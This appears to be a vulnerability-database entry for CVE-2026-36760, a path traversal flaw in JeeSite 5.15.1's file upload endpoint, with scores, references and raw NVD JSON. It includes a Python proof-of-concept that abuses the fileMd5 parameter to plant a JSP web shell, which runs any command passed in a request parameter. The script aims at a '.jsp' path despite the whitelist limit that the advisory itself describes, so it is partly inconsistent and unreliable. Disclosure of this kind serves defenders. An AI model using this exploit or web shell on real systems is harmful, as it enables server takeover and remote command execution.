CVE-2026-36760

Description

An issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authenticated attackers with file upload permissions to execute a path traversal and write arbitrary files with whitelisted suffixes to arbitrary filesystem locations while chunked upload is enabled.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

JeeSite 5.15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url, session_cookie):
    # Define the target endpoint
    url = f"{target_url}/a/file/upload"
    
    # Malicious fileMd5 with path traversal to write to web root
    # Note: The actual file extension might need to match the whitelist (e.g., .jpg)
    # but the content can be malicious code.
    traversal_path = "../../webapps/ROOT/shell.jsp"
    
    # Headers
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    
    # Cookies (Authentication required)
    cookies = {
        "JSESSIONID": session_cookie
    }
    
    # Payload data
    files = {
        'file': ('avatar.jpg', b'<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>', 'image/jpeg')
    }
    data = {
        'fileMd5': traversal_path,
        'chunk': '0',
        'chunks': '1'
    }
    
    try:
        response = requests.post(url, files=files, data=data, headers=headers, cookies=cookies, verify=False, timeout=10)
        if response.status_code == 200:
            print(f"[+] Exploit sent successfully. Check {target_url}/shell.jsp")
        else:
            print(f"[-] Failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage example
# exploit("http://127.0.0.1:8080", "valid_session_id_here")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36760
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36760
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36760/
[4] VulDB https://vuldb.com/cve/CVE-2026-36760
[5] https://github.com/thinkgem/jeesite
[6] https://github.com/thinkgem/jeesite/issues/530
[7] https://github.com/thinkgem/jeesite/issues/530

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36760", "sourceIdentifier": "[email protected]", "published": "2026-04-30T17:16:26.050", "lastModified": "2026-04-30T18:16:28.927", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authenticated attackers with file upload permissions to execute a path traversal and write arbitrary files with whitelisted suffixes to arbitrary filesystem locations while chunked upload is enabled."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/thinkgem/jeesite", "source": "[email protected]"}, {"url": "https://github.com/thinkgem/jeesite/issues/530", "source": "[email protected]"}, {"url": "https://github.com/thinkgem/jeesite/issues/530", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}